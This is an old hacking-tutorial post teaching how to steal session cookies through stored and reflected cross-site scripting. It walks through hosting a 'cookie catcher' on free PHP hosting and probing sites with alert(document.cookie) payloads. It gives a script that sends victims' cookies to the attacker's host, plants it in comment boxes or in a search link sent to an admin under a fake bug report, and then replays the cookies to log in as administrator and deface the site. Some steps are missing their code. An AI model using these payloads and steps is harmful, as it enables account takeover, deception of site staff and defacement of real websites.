XSS (PERSISTENT & NON-PERSISTENT
Hi XSS CAN BE DONE in 2 ways, Persistent and Non-Persistent type.
For XSS we will use something called a cookie catcher.
Question will be that why we would need someone else's cookie?
The answer is that we can change our browser's cookies to login as them!!! So lets call it Session Hijacking
First go to a free hosting site like http://www.110mb.com or other php hosting sites and register there. Then download this cookie catcher and upload it.
Cookie Catcher: http://adf.ly/Tdbm
What does the cookie catcher do?
It grabs the user's:
- Referral link which what page it got to that link
- Time and Date
Get Vulnerable sites:
Ok first we need sites that are vulnerable to XSS so it will work on them.
To test it we will need to add a code after the link.
I will use this site that many of you probably saw it before.
Now for testing if a site is vuln or not you can add these codes:
"><iframe src="www.google.com" height=800 width=800 frameborder=1 align=center></iframe>
Then if we see a java script popup like this:
In the end, if your site is http://www.example.com the link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>
In this method we will grab the victim's cookies with no suspection and completely stealth.
Now assume we have a forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS.
Ok now lets go to this site: http://adf.ly/Tdo3
Now test and see if the XSS vulnerable test's work on it.
It does!!! And your getting one of the vulnerability's symptoms. So now lets try to grab it's cookies. If there is a box to type and submit it add this:
<script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>
so they wont suspect you
Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher .php search for cookies.html which is a new file that show you the cookies. like if your cookie catcher link would be:
the container of the cookies would be:
Now visit cookies.html and you would see the session of that cookie!
PS: the site i used doesn't support cookies so you can use: http://adf.ly/TeZV for cookie supporting.
Now there is another way for a cookie grabbing drive by, add this code and post it:
Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a
<iframe src="www.google.com"></iframe> and you will understand iframes more
Ok in this method we will make the victim admin go to our link. First we will pick a XSS vuln site. For this method we will need a search.php which that page is vuln to XSS and has cookies in that page. In the vuln search.php in the textbox for the word to search for type:
I will use this link for this method: http://adf.ly/TeZV
Now in front of the search.php?search= add this:
"><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>
Now in the body just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the Tinyurl will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does and changes his password you can still login as him
Ok now you have the admin's cookies either way, so we need to edit our own browser's cookies. First go to that page's admin login or its main page and delete ALL of your cookies from that page. Now go in your cookies.html page and copy everything in front of the Cookie: in a note opened Notepad. The ; separates cookies from each other so first copy the code before the ; .
Now go in that vuln website and clear the link. instead add this:
Then visit the link. Do this with all of the cookies and refresh the page. And wham!!! your logged in as administrator :evil:
So now go in your admin panel and upload your deface page.
Good luck now you hacked a site with XSS
